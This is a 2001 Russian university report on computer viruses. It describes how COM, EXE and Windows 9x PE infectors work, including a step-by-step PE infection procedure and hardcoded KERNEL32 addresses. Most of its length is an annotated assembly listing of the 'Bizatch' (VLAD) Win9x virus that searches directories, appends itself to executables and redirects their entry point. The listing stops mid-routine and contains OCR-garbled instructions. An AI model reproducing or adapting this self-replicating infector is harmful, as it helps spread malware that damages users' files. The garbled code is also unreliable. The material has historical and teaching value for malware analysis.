МИНИСТЕРСТВО ОБРАЗОВАНИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ
ТАГАНРОГСКИЙ РАДИОТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ
РЕФЕРАТ
по курсу «Основы эксплуатации ЭВМ»
тема: «Компьютерные вирусы, методы защиты, профилактика и лечение»
Выполнил :
Шуев С.Б.
Проверил :
Евтеев Г.Н.
ТАГАНРОГ, 2001
ВВЕДЕНИЕ
При работе с современным персональным компьютером пользователя (а особенно начинающего) может подстерегать множество неприятностей: потеря данных, зависание системы, выход из строя отдельных частей компьютера и другие. Одной из причин этих проблем наряду с ошибками в программном обеспечении) и неумелыми действиями самого оператора ПЭВМ могут быть проникшие в систему компьютерные вирусы. Эти программы подобно биологическим вирусам размножаются, записываясь в системные области диска или приписываясь к файлам и производят различные нежелательные действия, которые, зачастую, имеют катастрофические последствия. Чтобы не стать жертвой этой напасти, каждому пользователю следует хорошо знать принципы защиты от компьютерных вирусов.
В литературе весьма настойчиво пропагандируется, что избавиться от вирусов можно лишь при помощи сложных (и дорогостоящих) антивирусных программ, и якобы только под их защитой вы сможете чувствовать себя в полной безопасности. Это не совсем так – знакомство с особенностями строения и способами внедрения компьютерных вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной программы.
COM – вирусы.
Рассмотрим два варианта внедрения COM- вируса.
Вариант первый. Вирус переписывает начало программы в конец файла, чтобы
освободить место для себя. После этого тело вируса записывается в начало
файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента
программы, на прежнее место – в конец. При восстановлении первоначального
вида программы тело вируса будет затерто, поэтому код вируса,
восстанавливающий программу, должен находиться в безопасном месте, отдельно
от основного тела вируса. Этот способ внедрения изображен на рис. 1.
Начало программы переписывается в конец файла, освобождая место для вируса
Тело вируса записывается в начало файла, а часть вируса обеспечивающая восстановление программы – в конец
Рис. 1
При загрузке зараженного таким способом файла управление получит вирус (так
как он находится в начале файла и будет загружен с адреса 100h). После
окончания работы вирус передает управление коду, переносящему вытесненную
часть программы на прежнее место. После восстановления (в памяти, не в
файле) первоначального вида программы, она запускается. Схема работы вируса
изображена на рис. 2.
Второй вариант отличается от первого тем, что вирус, освобождая для себя
место, сдвигает все тело программы, а не переносит ее часть в конец файла.
Этот способ внедрения изображен на рис. 3. После запуска зараженной
программы, как и в предыдущем случае, управление получает вирус.
Отработав, вирус передает управление своему коду в конце программы.
Восстанавливает ся первоначальный вид программы
После восстановления вирус запускает программу
Рис.2
Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 4.
Тело программы сдвигается ближе к концу файла, освобождая место для вируса
Тело вируса записывается в начало файла, а часть вируса, обеспечивающая восстановление программы – в конец
рис. 3
Отработав, вирус передает управление своему коду в конце программы.
Восстанавливается первоначальный вид программы – тело программы сдвигается к адресу 0100h
После восстановления вирус запускает программу
рис. 4
EXE – вирусы
EXE – вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.
Вирусы, замещающие программный код (Overwrite).
Такие вирусы уже стали раритетом. Их главный недостаток – слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.
Вирусы – спутники (Companion).
Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл – спутник. Рассмотрим более подробно два типа вируса этой группы:
Вирусы первого типа размножаются следующим образом. Для каждого
инфицируемого EXE – файла в том же каталоге создается файл с вирусным
кодом, имеющим такое же имя, что и EXE – файл, но с расширением СОМ. Вирус
активизируется, если при запуске программы в командной строке указано
только имя исполняемого файла. Дело в том, что, если не указано расширение
файла, DOS сначала ищет в текущем каталоге файл с заданным именем и
расширением СОМ. Если СОМ – файл с таким именем не найден, ведется поиск
одноименного ЕХЕ – файла. Если не найден и ЕХЕ – файл, DOS попробует
обнаружить и ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге
исполняемого файла с указанным именем поиск ведется во всех каталогах,
доступных по переменной РАТН. Другими словами, когда пользователь хочет
запустить программу и набирает в командной строке только ее имя (в основном
так все и делают ), первым управление получает вирус, код которого
находится в СОМ – файле. Он создает СОМ – файл еще к одному или нескольким
ЕХЕ – файлам (распространяется), а затем исполняет ЕХЕ – файл с указанным в
командной строке именем. Пользователь же думает, что работает только
запущенная ЕХЕ – программа. Вирус – спутник обезвредить довольно просто –
достаточно удалить СОМ – файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого ЕХЕ –
файла остается прежним, а расширение заменяется каким – либо другим,
отличным от исполняемого (СОМ, ЕХЕ и ВАТ). Например файл может пллучить
расширение DAT (файл данных) или OVL (программный оверлей). Затем на место
ЕХЕ – файла копируется вирусный код. При запуске такой инфицированной
программы управление получает вирусный код, находящийся в ЕХЕ – файле.
Инфицировав еще один или несколько ЕХЕ – файлов таким же образом, вирус
возвращает оригинальному файлу исполняемое расширение (но не ЕХЕ, а СОМ,
посколько ЕХЕ – файл стаким именем занят вирусом), после чего исполняет
его. Когда работа инфицированной программы закончена, ее запускаемому файлу
возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом
этого типа, может быть затруднено, если вирус – спутник шифрует часть или
все тело инфицируемого файла, а перед исполнением его расшифровывает.
Вирусы, внедряющиеся в программу (Parasitic)
Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ - вирусов в ЕХЕ - файл.
Способы заражения ЕХЕ – файлов.
Самый распространенный способ заражения ЕХЕ – файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ – файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.
Следующий способ – внедрение вируса в начало файла со сдвигом кода
программы. Механизм заражения такой: тело инфицируемой программы
считывается в память, на ее место записывается вирусный код, а после него –
код инфицируемой программы. Таким образом, код программы как бы
«сдвигается» в файле на длину кода вируса. Отсюда и название способа –
«способ сдвига». При запуске инфицированного файла вирус заражает еще один
или несколько файлов. После этого он считывает в память код программы,
записывает его в специально созданный на диске временный файл с расширением
исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда
программа закончила работу, временный файл удаляется. Если при создании
вируса не применялось дополнительных приемов защиты, то вылечить
инфицированный файл очень просто – достаточно удалить код вируса в начале
файла, и программа снова будет работоспособной. Недостаток этого метода в
том, что приходиться считывать в память весь код инфицируемой программы (а
бывают экземпляры размером больше 1 Мбайт).
Следующий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицируемой программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равную телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Вирусы под Windows 9x.
Формат Portable Executable используется Win 32, Windows NT , Windows
95, Windows 98, что делает его очень популярным, и в будущем, возможно он
станет доминирующим форматом ЕХЕ. Этот формат значительно отличается от NE
– executable, используемого в Windows 3.11.
Вызов Windows API.
Обычные приложения вызывают Windows API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 9x, благодаря предусмотрительности фирмы – производителя Microsoft, модифицировать таблицу импортируемых имен невозможно. Это проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/ЕХЕ, можно использовать вызов
АРI GetModuleHandle или другие функции для получения точек входа модуля,
включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так: сall API_FUNCTION_NAME
например: call CreateFileA
После компиляции этот вызов выглядит так: db 9Ah ; инструкция call dd ???? ;смещение в таблице переходов
Код в таблице переходов похож на такой: jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной
функции API. Этот адрес можно получить с помощью GetProcAddress API.
Диспетчер функций выглядит так: push function value call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32.DLL располагается в памяти статически – именно так и
предполагалось. Но конкретное место его расположения в разных версиях
Windows 9x отличается. Это было проверено. Оказалось, что одна функция
(получение времени/даты) отличается номером. Для компенсации этих различий
добавлена проверка двух различных мест на наличие KERNEL32.DLL. Но если
KERNEL32.DLL все-таки не найден, вирус возвращает управление программе-
носителю.
Адреса и номера функции.
Для June Test Release KERNEL32.DLL находится по адресу 0BFF93B95h, для
August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции,
используя 32-битный отладчик. В таблице 1 приведены адреса функций, которые
нужны для работы вируса.
Таблица 1. Адреса некоторых функций KERNEL32.DLL
|Функция |Адрес в June Test |Адрес в August Test |
| |Release |Release |
|GetCurrentDir |BFF77744h |BFF77744h |
|SetCurrentDir |BFF7771Dh |BFF7771Dh |
|GetTime |BFF9D0B6h |BFF9D14Eh |
|MessageBox |BFF638D9h |BFF638D9h |
|FindFile |BFF77893h |BFF77893h |
|FindNext |BFF778CBh |BFF778CBh |
|CreateFile |BFF77817h |BFF77817h |
|SetFilePointer |BFF76FA0h |BFF76FA0h |
|ReadFile |BFF75806h |BFF75806h |
|WriteFile |BFF7580Dh |BFF7580Dh |
|CloseFile |BFF7BC72h |BFF7BC72h |
Соглашения о вызовах.
Windows 9x написан на языках С++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не использует. Все
АРI под Windows 9x используют Pascal Calling Convention. Пример – АРI,
описанный в файлах справки Visual C++:
FARPROC GetProcAddres (
HMODULE hModule, // описатель DLL-модуля
LPCSTR lpszProc // имя функции
);
На первый взгляд кажется, что достаточно лишь сохранить в стеке
описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать
API. Но это не так. Параметры, согласно Pascal Calling Convention, должны
быть сохранены в стеке в обратном порядке:
Push offset lpszProc
Push dword ptr [hModule]
Call GetProcAddress
Используя 32-битный отладчик, можно оттрасировать вызов и найти вызов
KERNEL32.DLL для каждого конкретного случая. Это позволит получить номер
функции и обойтись без необходимой для вызова таблицы импортируемых имен.
Заражение файлов формата PE – execuatable.
Определение положения начала РЕ – заголовка происходит аналогично
поиску начала NE – заголовка. Если смещение таблицы настройки адресов (поле
18h) в заголовке ЕХЕ – файла 40h или больше, то по смещению 3Ch находится
смещение PE – execuatable заголовка. Сигнатура PE – execuatable («РЕ»)
находится, как и у NE – execuatable ЕХЕ – файла, в начале нового заголовка.
Внутри PE – заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
Основные действия заражения PE – execuatable файла:
1. Найти смещение заголовка PE – execuatable в файле.
2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
3. Считать весь PE – заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный РЕ – заголовок в файл.
Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
Таблица объектов расположена непосредственно за NT – заголовком.
Значение «NTheadersize» показывает количество байт, следующих за полем
«flags». Итак, для определения смещения таблицы объектов нужно получить
NТheadersize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40
(размер элемента таблицы объектов). Таким образом определяется смещение, по
которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+ prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1)*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,0,C0h
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере физического размера байт.
Пример вируса под Windows 9x.
.386
locals
jumps
.model flat,STDCALL include win32.inc ;некоторые 32-битные константы и структуры
L equ
;Определим внешние функции, к которым будет подключаться вирус extrn BeginPaint:PROC extrn CreateWindowExA:PROC extrn DefWindowProcA:PROC extrn DispatchMessageA:PROC extrn EndPaint:PROC extrn ExitProcess:PROC extrn FindWindowA:PROC extrn GetMessageA:PROC extrn GetModuleHandleA:PROC extrn GetStockObject:PROC extrn InvalidateRect:PROC extrn LoadCursorA:PROC extrn LoadIconA:PROC extrn MessageBeep:PROC extrn PostQuitMessage:PROC extrn RegisterClassA:PROC extrn ShowWindow:PROC extrn SetWindowPos:PROC extrn TextOutA:PROC extrn TranslateMessage:PROC extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ
DefWindowProc equ
DispatchMessage equ
FindWindow equ
GetMessage equ
GetModuleHandle equ
LoadCursor equ
LoadIcon equ
MessageBox equ
RegisterClass equ
TextOut equ
.data newhwnd dd 0 lppaint PAINTSTRUCT msg MSGSTRUCT wc WNDCLASS mbx_count dd 0 hInst dd 0 szTitleName db "Bizatch by Quantum / VLAD activated" zero db 0 szAlternate db "more than once",0 szClassName db "ASMCLASS32",0
;Сообщение выводимое в окне szPaint db "Left button pressed:" s_num db "00000000h times.",0
;Размер сообщения
MSG_L EQU ($-offset szPaint)-1
.code
;Сюда обычно передается управление от загрузчика. start:
;Получим HMODULE push L 0 call GetModuleHandle mov [hInst],eax push L 0 push offset szClassName call FindWindow or eax,eax jz reg_class
;Пространство для модификации строки заголовка mov [zero]," " reg_class:
;Инициализируем структуру WndClass mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS mov [wc.clsLpfnWndProc],offset WndProc mov [wc.clsCbClsExtra],0 mov [wc.clsCbWndExtra],0 mov eax,[hInst] mov [wc.clsHInstance],eax
;Загружаем значок push L IDI_APPLICATION push L 0 call LoadIcon mov [wc.clsHIcon],eax
;Загружаем курсор push L IDC_ARROW push L 0 call LoadCursor mov [wc.clsHCursor],eax
;Инициализируем оставшиеся поля структуры WndClass mov [wc.clsHbrBackground],COLOR_WINDOW+1 mov dword ptr [wc.clsLpszMenuName],0 mov dword ptr [wc.clsLpszClassName],offset szClassName
;Регистрирем класс окна push offset wc call RegisterClass
;Создаем окно push L 0 ;lpParam push [hInst] ;hInstance push L 0 ;Меню push L 0 ;hwnd родительского окна push L CW_USEDEFAULT ;Высота push L CW_USEDEFAULT ;Длина push L CW_USEDEFAULT ;Y push L CW_USEDEFAULT ;X push L WS_OVERLAPEEDWINDOW ;Style push offset szTitleName ;Title Style push offset szClassName ;Class Name push L 0 ;extra style call CreateWindowEx
;Сохраняем HWND mov [newhwnd],eax
;Отображаем окно на экране push L SW_SHOWNORMAL push [newhwnd] call ShowWindow
;Обновляем содержимое окна push [newhwnd] call UpdateWindow
;Очередь сообщений msg_loop:
;Прочитаем следующее сообщение из очереди push L 0 push L 0 push L 0 push offset msg call GetMessage
;Если функция GetMessage вернула нулевое значение,
;то завершаем обработку сообщений и выходим из процесса cmp ax,0 je end_loop
;преобразуем виртуальные коды клавиш в сообщения клавиатуры push offset msg call TranslateMessage
;Предаем это сообщение назад в Windows push offset msg call DispatchMessage
;Переходим к следующему сообщению jmp msg_loop
;Выходим из процесса end_loop: push [msg.msWPARAM] call ExitProcess
;Обработка сообщений окна. Win32 требует сохранения регистров
;EBX, EDI, ESI. запишем эти регистры после "uses" в строке "proc"
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi,hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD
LOCAL theDC:DWORD
;Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY je wmdestroy стр [wmsg],WM_RBUTTONDOWN je wmrbuttondown cmp [wmsg],WM_SIZE je wmsize cmp [wmsg],WM_CREATE je wmcreate cmp [wmsg],WM_LBUTTONDOWN je wmlbuttondown cmp [wmsg],WM_PAINT je wmpaint cmp [wmsg],WM_GETMINMAXINFO je wmgetminmaxinfo
;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию
jmp defwndproc
;Сообщение WM_PAINT (перерисовать содержимое окна)wmpaint:
;Подготовим окно для перерисовки push offset Ippaint push [hwnd] call BeginPaint mov [theDC], eax
;Переведем в ASCII-формат значение mbx_count, которое
;доказывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count] mov edi, offset s_num call HexWrite32
; Вывод строки в окно
push L MSG_L ;Длина строки push offset szPaint ;Строка push L 5 ;Y push L 5 ;X push [theDC] ;DC call TextOut
;0бозначим завершение перерисовки окна push offset Ippaint push [hwnd] call EndPaint
;Выходим из обработки сообщения mov eax, 0 jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
; Выходим из обработки сообщения mov eax, 0 jmp finish
;Сообщение, не обрабатываемое данной программой, передаем Windows defwndproc:
push [Iparam] push [wparam] push [wmsg] push [hwnd] call DefWindowProc
; Выходим из обработки сообщения jmp finish
;Сообщение WM_DESTROY (уничтожение окна) wmdestroy:
; Закроем поток push L О call PostQuitMessage
;Выходим из обработки сообщения mov eax, О jmp finish
;Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши) wmlbuttondown:
inc [mbx_count]
;0бновим содержимое окна push L 0 push L 0 push [hwnd] call InvalidateRect
[Выходим из обработки сообщения mov eax, О jmp finish
;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0 call MessageBeep
;Выходим из обработки сообщения jmp finish
;Сообщение WM_SIZE (изменен размер окна) wmsize:
;Выходим из обработки сообщения mov eax, О jmp finish
;Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
;Заполним структуру MINMAXINFO mov ebx, [Iparam]
mov [(MINMAXINFO ptr. ebx).mintrackposition_x],350 mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
;Выходим из обработки сообщения mov eax, О jmp finish
;Выходим из обработки сообщения finish:
ret
WndProc endp
;Процедура перевода байта в ASCII-формат для печати. Значение,
;находящееся в регистре AL, будет записано в ASCII-формате
;по адресу ES-.EDI
HexWriteS proc
;Разделяем байт на полубайты и загружаем их в регистры АН и AL mov ah,al and al.0Fh shr ah,4
;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
;соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h
;Меняем полубайты местами, чтобы регистр АН содержал младший
;полубайт, а регистр AL - старший
xchg al.ah
;Проверим, надо ли корректировать младший полубайт,
;если да - корректируем
cmp ah, 39h ja @@4
;Проверим, надо ли корректировать старший полубайт,
;если да - корректируем
@@1: cmp al,39h ja @@3
;Сохраним значение по адресу ES:EDI
@@2:
stosw
ret
;Корректируем значение старшего полубайта
@@3:
sub al, 30h
add al, "A"-10
jmp @@2
;Корректируем значение младшего полубайта
@@4:
sub ah, 30h
add ah, "A"-10
jmp @@1
HexWriteS endp
; Процедура перевода слова в ASCII-формат для печати.
;Значение, находящееся в регистре АХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite16 proc
;Сохраним младший байт из стека push ax
;Загрузим старший байт в регистр AL xchg al,ah
;Переведем старший байт в ASCII-формат call HexWriteS
;Восстановим младший байт из стека pop ax
;Переведем младший байт в ASCII-формат
call HexWriteS
ret
HexWrite16 endp
;Процедура перевода двойного слова в ASCII-формат для печати.
;Значение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc
;Сохраним младшее слово из стека push eax
;Загрузим старшее слово в регистр АХ shr eax, 16
;Переведем старшее слово в ASCII-формат call HexWrite16
;Восстановим младшее слово из стека pop eax
;Переведем младшее слово в ASCII-формат
call HexWrite16
ret
HexWrite32 endp
;Сделаем процедуру WndProc доступной извне
public WndProc ends
;Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"
assume cs:vladseg vstart: *
;Вычислим текущий адрес
call recalc recalc: pop ebp mov eax,ebp db 2Dh ;Код команды SUB AX subme dd 30000h+(recalc-vstart)
;Сохраним адрес в стеке push eax
;Вычислим стартовый адрес вирусного кода sub ebp,offset recalc
;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL mov eax,[ebp+offset kern2]
;Проверим ключ. Если ключа нет, перейдем к точке 1 cmp dword ptr [eax],5350FC9Ch jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2] jmp movit
;Точка 2 не подошла, проверим точку 1 notkern2:
; Возьмем адрес первой известной нам точки KERNEL mov eax,[ebp+offset kern1]
;Проверим ключ, если ключа нет - выходим cmp dword ptr [eax],5350FC9Ch jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX movit:
;Сохраним адрес KERNEL mov [ebp+offset kern],eax cld
;3апомним текущую директорию lea eax, [ebp+offset orgdir] push eax push 255 call GetCurDir
;Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем первый файл infectdir:
lea eax, [ebp+offset win32_data_thang] push eax lea eax, [ebp+offset fname] push eax call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax
Проверим, найден ли файл. Если файл не найден,
;меняем директорию
cmp еах,-1 jz foundnothing
;0ткроем файл для чтения и записи gofile: push О push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL push 3 ;OPEN_EXISTING push 0 push 0 push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE lea eax, [ebp+offset fullname] push eax call CreateFile
;Сохраним описатель файла
mov dword ptr [ebp+offset ahand],eax
;Проверим, не произошла ли ошибка.
;Если ошибка произошла, ищем следующий файл
сmр еах,-1 jz findnextone
;Доставим указатель позиции чтения/записи на поле
;со смещением РЕ-заголовка
push О push О push 3Ch push dword ptr [ebp+offset ahand] call SetFilePointer
;Считаем адрес РЕ-заголовка push О lea eax,[ebp+offset bytesread] push eax push 4 lea eax, [ebp+offset peheaderoffset] push eax push dword ptr [ebp+offset ahand] call ReadFile
;Доставим указатель позиции чтения/записи на начало РЕ-заголовка push 0 push 0 push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Считаем число байт, достаточное для вычисления полного размера
;РЕ-заголовка и таблицы объектов
push 0 lea eax, [ebp+offset bytesread] push eax push 58h lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call ReadFile
;Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий
cmp dword ptr [ebp+offset peheader], 00004550h; jnz notape
;Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],OFOODh jz notape cmp dword ptr [ebp+offset 52],4000000h jz notape
;Доставим указатель позиции чтения/записи на начало РЕ-заголовка push 0 push 0 push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Считаем весь РЕ-заголовок и таблицу объектов
push О lea eax, [ebp+offset bytesread] push eax push dword ptr [ebp+offset headersize] lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call ReadFile
;становим признак заражения
mov word ptr [ebp+offset peheader+4ch],OFOODh
;Найдем смещение таблицы объектов xor eax,eax mov ax, word ptr [ebp+offset NtHeaderSize] add eax,18h mov dword ptr [ebp+offset ObjectTableoffset],eax
;Вычислим смещение последнего (null) объекта в таблице объектов mov esi,dword ptr [ebp+offset ObjectTableoffset] lea eax, [ebp+offset peheader] add esi,eax xor eax.eax mov ax, [ebp+offset numObj] mov ecx,40 xor edx.edx mul ecx add esi,eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj] lea edi,[ebp+offset newobject] xchg edi,esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
mov eax,[edi-5*8+8] add eax,[edi-5*8+12] mov ecx,dword ptr [ebp+offset objalign] xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта mov ecx,dword ptr [ebp+offset filealign] mov eax,vend-vstart xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+offset physicalsize],eax
;Вычислим виртуальный размер нового объекта mov ecx,dword ptr [ebp+offset objalign] mov eax,vend-vstart+1000h xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset virtualsize],eax
;Вычислим физическое смещение нового объекта mov eax,[edi-5*8+20] add eax,[edi-5*8+16] mov ecx,dword ptr [ebp+offset filealign] xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+offset physicaloffset],eax
;Обновим размер образа (размер в памяти) файла mov eax,vend-vstart+1000h add eax,dword ptr [ebp+offset imagesize] mov ecx, [ebp+offset objalign] xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+offset imagesize],eax
;Скопируем новый объект в таблицу объектов mov ecx,10 rep movsd
;Вычислим точку входа RVA
mov eax,dword ptr [ebp+offset RVA] mov ebx,dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax sub eax.ebx add eax,5
;Установим значение, необходимое для возврата в носитель mov dword ptr [ebp+offset subme],eax
;Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О push О push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Запишем РЕ-заголовок и таблицу объектов в файл
push О lea eax,[ebp+offset bytesread] push eax push dword ptr [ebp+offset headersize] lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call WriteFile
;Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
;Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта
push О push О push dword ptr [ebp+offset physicaloffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Запишем тело вируса в новый объект push О lea eax, [ebp+offset bytesread] push eax push vend-vstart lea eax, [ebp+offset vstart] push eax push dword ptr [ebp+offset ahand] call WriteFile
;3акроем файл notape: push dword ptr [ebp+offset ahand] call CloseFile
; Переход к следующему файлу findnextone:
;Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше - ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax, [ebp+offset win32_data_thang] push eax push dword ptr [ebp+offset searchhandle] call FindNext
;Если файл найден, переходим к заражению or eax, eax jnz gofile
;Сюда попадаем, если файл не найден foundnothing:
;Сменим директорию хоr eax, eax lea edi, [ebp+offset tempdir] mov ecx, 256/4 rep stosd lea edi, [ebp+offset tempdirl] mov ecx,256/4 rep stosd
;Получим текущую директорию lea esi,[ebp+offset tempdir] push esi push 255 call GetCurDir
;Сменим директорию на "."
lea eax, [ebp+offset dotdot] push eax call SetCurDir
;Получим текущую директорию lea edi,[ebp+offset tempdirl] push edi push 255 call GetCurDir
;Проверим, корневая ли это директория. Если да, то выходим mov ecx, 256/4 rep cmpsd jnz infectdir
;"3аметаем следы" и выходим в программу-носитель outty:
;Возвратимся в оригинальную текущую директорию lea eax,[ebp+offset orgdir] push eax call SetCurDir
;Получим текущую дату и время
lea eax, [ebp+offset systimestruct]
push eax call GetTime
;Проверим число. Если это 31-ое, выдаем сообщение cmp word ptr [ebp+offset day],31 jnz nopayload
;Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL lea eax, [ebp+offset boxtitle] push eax lea eax, [ebp+offset boxmsg] push eax push 0 call MsgBox
;Выход в программу-носитель nopayload: pop eax jmp eax
;Когда KERNEL будет обнаружен, его смещение будет записано kern dd OBFF93B95h
;Значения KERNEL, известные нам kern1 dd OBFF93B95h kern2 dd OBFF93C1Dh
;Чтение текущей директории
GetCurDir:
;3апишем в стек значение для получения текущей директории и вызовем KERNEL
push OBFF77744h jmp [ebp+offset kern]
;Установка текущей директории
SetCurDir:
;3апишем в стек значение для установки текущей директории и вызовем KERNEL
push OBFF7771Dh jmp [ebp+offset kern]
;Получение времени и даты
GetTime:
;Проверим, какой KERNEL работает cmp [ebp+offset kern],OBFF93B95h jnz gettimekern2
;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL
